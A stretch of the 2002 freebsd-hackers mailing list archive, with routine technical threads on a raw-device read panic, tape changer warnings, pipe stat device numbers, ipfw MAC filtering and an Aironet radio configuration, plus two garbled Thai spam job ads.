included below. I believe the vm_object_terminate(): freeing busy page problem may be related. In anycase, this bug was fixed in 1.147.2.16 in -stable. RELENG_4_5 was forked off at 1.147.2.13. I don't know if upgrading will fix your problem but there's a chance that it will. If it doesn't we'll work through getting a kernel dump and investigating further. -Matt : (Original message from Tor) :Subject: Patch to solve panic when reading from raw devices :Date: Sun, 17 Feb 2002 23:33:51 GMT :... :It is currently possible to crash the system when reading from raw :devices if the program is using aio or linuxthreads: : : vm_page_free: pindex(0), busy(0), PG_BUSY(1), hold(1) : panic: vm_page_free: freeing busy page : cpuid = 1; lapic.id = 00000000 : Debugger("panic") : Stopped at Debugger+0x41: xorl %eax,%eax : :This happens if the memory is unmapped before the read has completed, To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 11:42:13 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8163D37B405 for ; Fri, 28 Jun 2002 11:41:48 -0700 (PDT) Received: from mail3.ksc.th.com (mail3.ksc.th.com [203.155.0.234]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9087843E33 for ; Fri, 28 Jun 2002 11:40:53 -0700 (PDT) (envelope-from easytoberich01@yahoo.com) Received: from ksc.th.com ([203.107.246.47]) by mail3.ksc.th.com (8.12.1/8.12.0) with SMTP id g5SIYRfd007846 for ; Sat, 29 Jun 2002 01:40:51 +0700 Message-Id: <200206281840.g5SIYRfd007846@mail3.ksc.th.com> Date: Sat, 29 Jun 2002 01:42:55 To: freebsd-hackers@FreeBSD.org From: easytoberich01@yahoo.com (international e-business) Subject: ÊÓËÃѺ¼Ùé·Õèµéͧ¡ÒÃâÍ¡ÒÊ㹡ÒÃà»ÅÕè¹á»Å§ªÕÇÔµ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG !!!!! Part-Time Job!! ÊÓËÃѺ¹Ñ¡àÃÕ¹ ¹Ñ¡ÈÖ¡ÉÒ áÅмÙé·Ó§Ò¹»ÃÐ¨Ó ¤Ø³µéͧ¡ÒçҹẺ¹ÕéºéÒ§äËÁ…?? -§Ò¹ parttime ·Ó§Ò¹·ÕèºéÒ¹ä´é ¶éҤسãªé Internet à»ç¹ -·Ó§Ò¹à¾Õ§ÇѹÅÐ 2-3 ªÁ. -ÃÒÂä´é 5,000 – 15,000 ºÒ· ¶éҤسà»ç¹¤¹Ë¹Ö觷Õè·Ó§Ò¹»ÃШÓËÃ×ÍÂѧäÁèÁÕ§Ò¹·Ó ¹Ñ¡ÈÖ¡ÉÒ·Õè¡ÓÅѧÈÖ¡ÉÒÍÂÙè ¼ÙéÇèÒ§§Ò¹ ËÃ×ͼÙé·ÕèÂѧ¾ÍÁÕàÇÅÒÇèÒ§¨Ò¡§Ò¹»ÃÐ¨Ó ÁդسÊÁºÑµÔàº×éͧµé¹´Ñ§¹Õé 1. ÁÕ·Ñȹ¤µÔ·Õè´Õ 2. ¾ÃéÍÁ·Õè¨ÐàÃÕ¹ÃÙé à¹×èͧ¨Ò¡à»ç¹ÃкºãËÁè¨Ö§µéͧãËéÁÕ¡ÒÃͺÃÁãËéµÒÁ¤ÇÒÁàËÁÒÐÊÁ 3. µéͧ¡Ò÷Õè¨Ð·Ó§Ò¹ÍÂèÒ§¨ÃÔ§¨Ñ§ ÍÂÒ¡·Õè¨Ðà»ÅÕ蹰ҹзҧ¡ÒÃà§Ô¹¢Í§µ¹àͧ áÅÐÍÂÒ¡ÁÕÃÒÂä´é¨Ò¡¡Ò÷ӧҹµÃ§¹Õé¨ÃÔ§æ ·Ø¡ÍÂèÒ§à»ç¹ä»ä´é ã¹ http://www.geocities.com/getchances2000/ ÍÂèÒ !…………….. à»ç¹á¤èà¾Õ§¤¹·Õè¹Ñè§ÃÍâÍ¡ÒÊ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 12: 1: 1 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8191037B400 for ; Fri, 28 Jun 2002 12:00:47 -0700 (PDT) Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by mx1.FreeBSD.org (Postfix) with ESMTP id CE80543E06 for ; Fri, 28 Jun 2002 12:00:46 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.11.3/8.10.1) with ESMTP id g5SJ0os05376; Fri, 28 Jun 2002 12:00:50 -0700 (PDT) Date: Fri, 28 Jun 2002 12:00:50 -0700 (PDT) From: Doug White To: Dirk-Willem van Gulik Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: How noisy should ch(4) be ? In-Reply-To: Message-ID: <20020628120023.Q3814-100000@resnet.uoregon.edu> X-All-Your-Base: are belong to us MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 28 Jun 2002, Dirk-Willem van Gulik wrote: > > On a stock 4.5-RELEASE I get *lots* of > > Jun 28 11:37:53 amanda /kernel: ch: warning: could not map element source > address 40384d to a valid element type > > as soon as chio touches the tape changer. > > How noisy should ch(4) be - is this normal ? Previous experience with a > SONY DAT library and a seagate was more silent :-) I don't recall having any problems talking to an HP DAT changer when I fiddled with one a while back. That looks like some sort of corruption tho. Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 12:17:18 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 78E0C37B401 for ; Fri, 28 Jun 2002 12:17:08 -0700 (PDT) Received: from mail3.ksc.th.com (mail3.ksc.th.com [203.155.0.234]) by mx1.FreeBSD.org (Postfix) with ESMTP id ED85243E13 for ; Fri, 28 Jun 2002 12:17:05 -0700 (PDT) (envelope-from easytoberich01@yahoo.com) Received: from ksc.th.com ([203.107.246.47]) by mail3.ksc.th.com (8.12.1/8.12.0) with SMTP id g5SIYR71007846 for ; Sat, 29 Jun 2002 02:17:03 +0700 Message-Id: <200206281917.g5SIYR71007846@mail3.ksc.th.com> Date: Sat, 29 Jun 2002 02:19:07 To: hackers@FreeBSD.org From: easytoberich01@yahoo.com (international e-business) Subject: ÊÓËÃѺ¼Ùé·Õèµéͧ¡ÒÃâÍ¡ÒÊ㹡ÒÃà»ÅÕè¹á»Å§ªÕÇÔµ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG !!!!! Part-Time Job!! ÊÓËÃѺ¹Ñ¡àÃÕ¹ ¹Ñ¡ÈÖ¡ÉÒ áÅмÙé·Ó§Ò¹»ÃÐ¨Ó ¤Ø³µéͧ¡ÒçҹẺ¹ÕéºéÒ§äËÁ…?? -§Ò¹ parttime ·Ó§Ò¹·ÕèºéÒ¹ä´é ¶éҤسãªé Internet à»ç¹ -·Ó§Ò¹à¾Õ§ÇѹÅÐ 2-3 ªÁ. -ÃÒÂä´é 5,000 – 15,000 ºÒ· ¶éҤسà»ç¹¤¹Ë¹Ö觷Õè·Ó§Ò¹»ÃШÓËÃ×ÍÂѧäÁèÁÕ§Ò¹·Ó ¹Ñ¡ÈÖ¡ÉÒ·Õè¡ÓÅѧÈÖ¡ÉÒÍÂÙè ¼ÙéÇèÒ§§Ò¹ ËÃ×ͼÙé·ÕèÂѧ¾ÍÁÕàÇÅÒÇèÒ§¨Ò¡§Ò¹»ÃÐ¨Ó ÁդسÊÁºÑµÔàº×éͧµé¹´Ñ§¹Õé 1. ÁÕ·Ñȹ¤µÔ·Õè´Õ 2. ¾ÃéÍÁ·Õè¨ÐàÃÕ¹ÃÙé à¹×èͧ¨Ò¡à»ç¹ÃкºãËÁè¨Ö§µéͧãËéÁÕ¡ÒÃͺÃÁãËéµÒÁ¤ÇÒÁàËÁÒÐÊÁ 3. µéͧ¡Ò÷Õè¨Ð·Ó§Ò¹ÍÂèÒ§¨ÃÔ§¨Ñ§ ÍÂÒ¡·Õè¨Ðà»ÅÕ蹰ҹзҧ¡ÒÃà§Ô¹¢Í§µ¹àͧ áÅÐÍÂÒ¡ÁÕÃÒÂä´é¨Ò¡¡Ò÷ӧҹµÃ§¹Õé¨ÃÔ§æ ·Ø¡ÍÂèÒ§à»ç¹ä»ä´é ã¹ http://www.geocities.com/getchances2000/ ÍÂèÒ !…………….. à»ç¹á¤èà¾Õ§¤¹·Õè¹Ñè§ÃÍâÍ¡ÒÊ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 12:21:53 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DFDD837B401 for ; Fri, 28 Jun 2002 12:21:23 -0700 (PDT) Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9CC1B43E12 for ; Fri, 28 Jun 2002 12:21:08 -0700 (PDT) (envelope-from ken@panzer.kdm.org) Received: from panzer.kdm.org (localhost [127.0.0.1]) by panzer.kdm.org (8.12.5/8.12.5) with ESMTP id g5SJL7Ki004174; Fri, 28 Jun 2002 13:21:07 -0600 (MDT) (envelope-from ken@panzer.kdm.org) Received: (from ken@localhost) by panzer.kdm.org (8.12.5/8.12.5/Submit) id g5SJL71G004173; Fri, 28 Jun 2002 13:21:07 -0600 (MDT) (envelope-from ken) Date: Fri, 28 Jun 2002 13:21:07 -0600 From: "Kenneth D. Merry" To: Dirk-Willem van Gulik Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: How noisy should ch(4) be ? Message-ID: <20020628132107.A4107@panzer.kdm.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from dirkx@webweaving.org on Fri, Jun 28, 2002 at 08:36:16AM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Jun 28, 2002 at 08:36:16 +0000, Dirk-Willem van Gulik wrote: > > On a stock 4.5-RELEASE I get *lots* of > > Jun 28 11:37:53 amanda /kernel: ch: warning: could not map element source > address 40384d to a valid element type > > as soon as chio touches the tape changer. > > How noisy should ch(4) be - is this normal ? Previous experience with a > SONY DAT library and a seagate was more silent :-) It probably means the changer is doing something bogus. Specifically, it has said that the source address for a particular element is valid, but the source element address doesn't map to any known component in the changer. (picker, portal, slot, drive) You can try several things here: - run 'chio ielem' before you do anything. This may make the changer look at what it has, and perhaps figure out that it doesn't really have a source addresses for various elements. - try moving every tape in the changer to some destination and back. The fastest thing to do, if the changer supports it, would probably be moving the tapes to the picker and then back to a slot. - comment out the warning in copy_element_status(). - see if there is updated firmware for the changer. > Device details: > > camcontrol devlist > at scbus0 target 4 lun 0 (pass0,sa0) > at scbus0 target 5 lun 0 (pass1,sa1) > at scbus0 target 6 lun 0 (pass2,ch0) > > dmesg > Waiting 5 seconds for SCSI devices to settle > sa0 at ahc0 bus 0 target 4 lun 0 > sa0: Removable Sequential Access SCSI-2 device > sa0: 10.000MB/s transfers (10.000MHz, offset 15) > sa1 at ahc0 bus 0 target 5 lun 0 > sa1: Removable Sequential Access SCSI-2 device > sa1: 10.000MB/s transfers (10.000MHz, offset 15) > ch0 at ahc0 bus 0 target 6 lun 0 > ch0: Removable Changer SCSI-2 device > ch0: 3.300MB/s transfers > ch0: 28 slots, 2 drives, 1 picker, 1 portal > > kernel config > > # cat AMANDA > .. > device ahc # AHA2940 and onboard AIC7xxx devices > device scbus # SCSI bus (required) > device sa # Sequential Access (tape etc) > device ch # SCSI media changers > > thanks ! Ken -- Kenneth Merry ken@kdm.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 15:49:41 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7C66E37B410; Fri, 28 Jun 2002 15:49:18 -0700 (PDT) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4D78844086; Fri, 28 Jun 2002 15:37:26 -0700 (PDT) (envelope-from bright@elvis.mu.org) Received: by elvis.mu.org (Postfix, from userid 1192) id 13A05AE162; Fri, 28 Jun 2002 15:37:26 -0700 (PDT) Date: Fri, 28 Jun 2002 15:37:26 -0700 From: Alfred Perlstein To: hackers@freebsd.org Cc: phk@freebsd.org Subject: fixing pipe stat Message-ID: <20020628223726.GC97638@elvis.mu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Currently the pipe_stat routine doesn't return a unique st_dev/st_ino pair. If someone could suggest a method for grabbing a unique st_dev entry for all pipes in the system, then we could use the pipe's address in memory for the st_ino field. So how do I reserve a dev for the pipe code? -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 16: 4: 6 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3849737B400 for ; Fri, 28 Jun 2002 16:04:00 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by mx1.FreeBSD.org (Postfix) with ESMTP id BBB4C43E86 for ; Fri, 28 Jun 2002 16:00:08 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.12.3/8.12.2) with ESMTP id g5SMvu6I066757; Sat, 29 Jun 2002 00:57:56 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Alfred Perlstein Cc: hackers@freebsd.org Subject: Re: fixing pipe stat In-Reply-To: Your message of "Fri, 28 Jun 2002 15:37:26 PDT." <20020628223726.GC97638@elvis.mu.org> Date: Sat, 29 Jun 2002 00:57:56 +0200 Message-ID: <66756.1025305076@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message <20020628223726.GC97638@elvis.mu.org>, Alfred Perlstein writes: >Currently the pipe_stat routine doesn't return a unique st_dev/st_ino >pair. If someone could suggest a method for grabbing a unique st_dev >entry for all pipes in the system, then we could use the pipe's address >in memory for the st_ino field. > >So how do I reserve a dev for the pipe code? pipes need device numbers ??? -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 16: 8:52 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C4FCF37B405 for ; Fri, 28 Jun 2002 16:08:41 -0700 (PDT) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8F3B943E06 for ; Fri, 28 Jun 2002 16:08:41 -0700 (PDT) (envelope-from bright@elvis.mu.org) Received: by elvis.mu.org (Postfix, from userid 1192) id 52373AE211; Fri, 28 Jun 2002 16:08:41 -0700 (PDT) Date: Fri, 28 Jun 2002 16:08:41 -0700 From: Alfred Perlstein To: Poul-Henning Kamp Cc: hackers@freebsd.org Subject: Re: fixing pipe stat Message-ID: <20020628230841.GD97638@elvis.mu.org> References: <20020628223726.GC97638@elvis.mu.org> <66756.1025305076@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <66756.1025305076@critter.freebsd.dk> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Poul-Henning Kamp [020628 16:00] wrote: > In message <20020628223726.GC97638@elvis.mu.org>, Alfred Perlstein writes: > >Currently the pipe_stat routine doesn't return a unique st_dev/st_ino > >pair. If someone could suggest a method for grabbing a unique st_dev > >entry for all pipes in the system, then we could use the pipe's address > >in memory for the st_ino field. > > > >So how do I reserve a dev for the pipe code? > > pipes need device numbers ??? I thought it would be nice if the information returned from stat(2) on a pipe filedescriptor could be guranteed to have a unique dev/ino, I only need _one_ dev entry for all pipes though. If it's a stupid idea then nevermind. :) -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 20:20:41 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8258B37B400 for ; Fri, 28 Jun 2002 20:20:35 -0700 (PDT) Received: from in.flite.net (in.flite.net [207.203.36.254]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5632443E09 for ; Fri, 28 Jun 2002 20:20:34 -0700 (PDT) (envelope-from kebling@us-it.net) Received: from Ken (adsl-34-229-211.bct.bellsouth.net [67.34.229.211]) by in.flite.net (8.11.3/8.11.3) with SMTP id g5T3KmR19958 for ; Fri, 28 Jun 2002 23:20:48 -0400 (EDT) (envelope-from kebling@us-it.net) Message-ID: <000801c21f1c$029cefe0$0201a8c0@Ken> From: "Ken Ebling" To: Subject: ipfw/dummynet suggestion Date: Fri, 28 Jun 2002 23:21:07 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01C21EFA.7AE4AFA0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C21EFA.7AE4AFA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I know this isn't performed at the ip level, but I think a useful = addition to ipfw would be to allow filtering by mac addresses. I think = a lot of people would find it useful, and a lot of linux users I try and = ``convert'' to FreeBSD say they require this feature too.=20 Ken Ebling ------=_NextPart_000_0005_01C21EFA.7AE4AFA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I know this isn't performed at the ip = level, but I=20 think a useful addition to ipfw would be to allow filtering by mac=20 addresses.  I think a lot of people would find it useful, and = a lot of=20 linux users I try and ``convert'' to FreeBSD say they require this = feature too.=20
 
Ken Ebling
------=_NextPart_000_0005_01C21EFA.7AE4AFA0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 20:40:15 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E177837B401 for ; Fri, 28 Jun 2002 20:40:11 -0700 (PDT) Received: from sccrmhc03.attbi.com (sccrmhc03.attbi.com [204.127.202.63]) by mx1.FreeBSD.org (Postfix) with ESMTP id 18BF443E1A for ; Fri, 28 Jun 2002 20:40:11 -0700 (PDT) (envelope-from julian@elischer.org) Received: from InterJet.elischer.org ([12.232.206.8]) by sccrmhc03.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020629034010.ELKE903.sccrmhc03.attbi.com@InterJet.elischer.org>; Sat, 29 Jun 2002 03:40:10 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id UAA77316; Fri, 28 Jun 2002 20:24:42 -0700 (PDT) Date: Fri, 28 Jun 2002 20:24:41 -0700 (PDT) From: Julian Elischer To: Ken Ebling Cc: freebsd-hackers@freebsd.org Subject: Re: ipfw/dummynet suggestion In-Reply-To: <000801c21f1c$029cefe0$0201a8c0@Ken> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG there is a hack to allow MAC filtering somewhere. Possibly connected with luigi's Bridging code. thre is also an ipfw node for netgraph floating around somewhere. On Fri, 28 Jun 2002, Ken Ebling wrote: > I know this isn't performed at the ip level, but I think a useful addition to ipfw would be to allow filtering by mac addresses. I think a lot of people would find it useful, and a lot of linux users I try and ``convert'' to FreeBSD say they require this feature too. > > Ken Ebling > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 22: 9:22 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5912C37B400 for ; Fri, 28 Jun 2002 22:09:19 -0700 (PDT) Received: from iguana.icir.org (iguana.icir.org [192.150.187.36]) by mx1.FreeBSD.org (Postfix) with ESMTP id F25E743E06 for ; Fri, 28 Jun 2002 22:09:18 -0700 (PDT) (envelope-from rizzo@iguana.icir.org) Received: (from rizzo@localhost) by iguana.icir.org (8.11.6/8.11.3) id g5T595b65000; Fri, 28 Jun 2002 22:09:05 -0700 (PDT) (envelope-from rizzo) Date: Fri, 28 Jun 2002 22:09:05 -0700 From: Luigi Rizzo To: Ken Ebling Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: ipfw/dummynet suggestion Message-ID: <20020628220905.A64985@iguana.icir.org> References: <000801c21f1c$029cefe0$0201a8c0@Ken> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <000801c21f1c$029cefe0$0201a8c0@Ken>; from kebling@us-it.net on Fri, Jun 28, 2002 at 11:21:07PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Jun 28, 2002 at 11:21:07PM -0400, Ken Ebling wrote: > I know this isn't performed at the ip level, but I think a useful addition to ipfw would be to allow filtering by mac addresses. I think a lot of people would find it useful, and a lot of linux users I try and ``convert'' to FreeBSD say they require this feature too. > the new code in -current (and there is a version for -stable as well) already does this. cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 23: 8:42 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1186937B400 for ; Fri, 28 Jun 2002 23:08:36 -0700 (PDT) Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by mx1.FreeBSD.org (Postfix) with ESMTP id B60D843E06 for ; Fri, 28 Jun 2002 23:08:35 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0094.cvx21-bradley.dialup.earthlink.net ([209.179.192.94] helo=mindspring.com) by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 17OBPH-0003yN-00; Fri, 28 Jun 2002 23:08:27 -0700 Message-ID: <3D1D4EB3.9410011@mindspring.com> Date: Fri, 28 Jun 2002 23:07:47 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Ken Ebling Cc: freebsd-hackers@freebsd.org Subject: Re: ipfw/dummynet suggestion References: <000801c21f1c$029cefe0$0201a8c0@Ken> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ken Ebling wrote: > > Part 1.1 Type: Plain Text (text/plain) > Encoding: quoted-printable | I know this isn't performed at the ip level, but I think a useful = | addition to ipfw would be to allow filtering by mac addresses. I think = | a lot of people would find it useful, and a lot of linux users I try and = | ``convert'' to FreeBSD say they require this feature too. Local or remote MAC addresses? The remote MAC address is always going to be a peer on the local wire; usually, this is your router. The local MAC address is a 1:N correspondance with IP addresses, so you can always do whatever you were planning on doing there using the local IP addresses that are associated with the MAC in question. What is it you are trying to do that is apparently not very obvious? -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 3:35:37 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9443B37B400 for ; Sat, 29 Jun 2002 03:35:16 -0700 (PDT) Received: from ns.mmk.ru (ns1.mmk.ru [195.54.3.19]) by mx1.FreeBSD.org (Postfix) with ESMTP id 614FB43E09 for ; Sat, 29 Jun 2002 03:35:13 -0700 (PDT) (envelope-from freebsd@mmk.ru) Received: from antivirus.mmk.ru (sinful [161.8.100.3]) by ns.mmk.ru (8.11.6/8.11.6) with ESMTP id g5TAYFV02175; Sat, 29 Jun 2002 16:34:15 +0600 (YEKST) (envelope-from freebsd@mmk.ru) Received: from wall.mmk.ru (localhost [127.0.0.1]) by antivirus.mmk.ru (8.11.6/8.11.6) with ESMTP id g5TAVLT26410; Sat, 29 Jun 2002 16:31:21 +0600 (ESD) Received: from dimasic (vpnlsa1.vpnlsa.mmk.chel.su [10.0.95.1]) by wall.mmk.ru (8.12.3/8.12.3) with SMTP id g5TAXffa005666; Sat, 29 Jun 2002 16:33:42 +0600 (YEKST) (envelope-from freebsd@mmk.ru) Message-ID: <001a01c21f58$17f39e20$02020101@dimasic> From: "Dmitry A. Bondareff" To: "Brooks Davis" Cc: , References: <002901c21c6e$f391e3c0$02020101@dimasic> <20020625113928.B30424@Odin.AC.HMC.Edu> Subject: Re: PCI4800 Date: Sat, 29 Jun 2002 16:31:10 +0600 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0017_01C21F8A.604E0930" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0017_01C21F8A.604E0930 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Ok! I've attached the files with configurations of PCI4800 and BR500 (external). External bridge send an error: > E Radio Error : 3 CRC errors Whereis problem ?? P.S. On the PCI4800 card Firmware v.4.25.30. ----- Original Message ----- From: "Brooks Davis" To: "Dmitry A. Bondareff" Cc: Sent: Wednesday, June 26, 2002 12:39 AM Subject: Re: PCI4800 ------=_NextPart_000_0017_01C21F8A.604E0930 Content-Type: text/plain; name="aironet2.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="aironet2.txt" ! CONFIGURATION of Aironet BR500E V8.24 BR500E_000000 =1B=3D configuration radio ssid "test"=20 configuration radio root on=20 configuration radio rates 1_11=20 configuration radio basic_rates 1_11=20 configuration radio frequency "2412"=20 configuration radio distance 0=20 configuration radio i80211 beacon 100=20 configuration radio 